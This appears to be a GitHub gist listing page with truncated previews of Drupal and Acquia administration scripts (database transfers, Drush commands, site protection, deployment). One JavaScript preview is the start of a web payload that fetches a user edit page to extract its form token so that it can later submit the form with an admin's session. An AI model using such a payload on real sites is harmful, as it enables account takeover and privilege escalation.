This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/php -q | |
<?php | |
/** | |
* @file | |
* Script to automate the transfer of all databases and files from one | |
* environment to another using Acquia Cloud API. | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Let's say for argument sake $query is a database query that checks for the | |
// presence of an existing record and returns FALSE if nothing is found. In this | |
// example, we need to check for an existing record and update the row if it | |
// exists or create a new entry if it doesn't. | |
/** | |
* Bad | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/php -q | |
<?php | |
/** | |
* @file | |
* Script to automate the transfer of all databases and files from one | |
* environment to another using Acquia Cloud API. | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// All custom changes below. Modify as needed. | |
// Defines account specific settings. | |
// $ah_database_name should be the Acquia Cloud workflow database name which | |
// will store SAML session information.set | |
// You can use any database that you have defined in your workflow. | |
// Use the database "role" without the stage ("dev", "stage", or "test", etc.) | |
$ah_database_name = 'mydatabasename'; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Implements hook_drush_command(). | |
*/ | |
function seed_derivatives_drush_command() { | |
$items = array(); | |
$items['seed_derivatives'] = array( | |
'description' => "Create image derivatives", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* Drush command to check for overly large items in DB cache tables that will | |
* not work with memcache. | |
*/ | |
/** | |
* Implements hook_drush_command(). |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* Utilities for use in protecting an environment via basic auth or IP whitelist. | |
*/ | |
function ac_protect_this_site() { | |
global $conf; | |
$client_ip = ip_address(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Test for the presence of jquery. | |
if (typeof jQuery == 'function') { | |
// Fetch a correct token from user/1/edit because we will need it to | |
// successfully submit the user edit form later. | |
// TODO: Include a check to increase the chance that the current user is admin, | |
// which will reduce the number of access denied error messages in the log. | |
jQuery.get(Drupal.settings.basePath + 'user/7/edit', | |
function (data, status) { | |
if (status == 'success') { | |
// Extract the token and other required data |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Sample Deployment Script | |
set -o errexit | |
echo -e "What tag would you like to deploy? (e.g., 2013-04-23.0) " | |
read tag | |
echo -e "Is this your staging environment? (y)es or (n)o: " | |
read stage |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
#!/usr/bin/env drush | |
// Example rebuild script | |
// local alias | |
$self_record = drush_sitealias_get_record('@self'); | |
$self_name = '@' . $self_record['#name']; |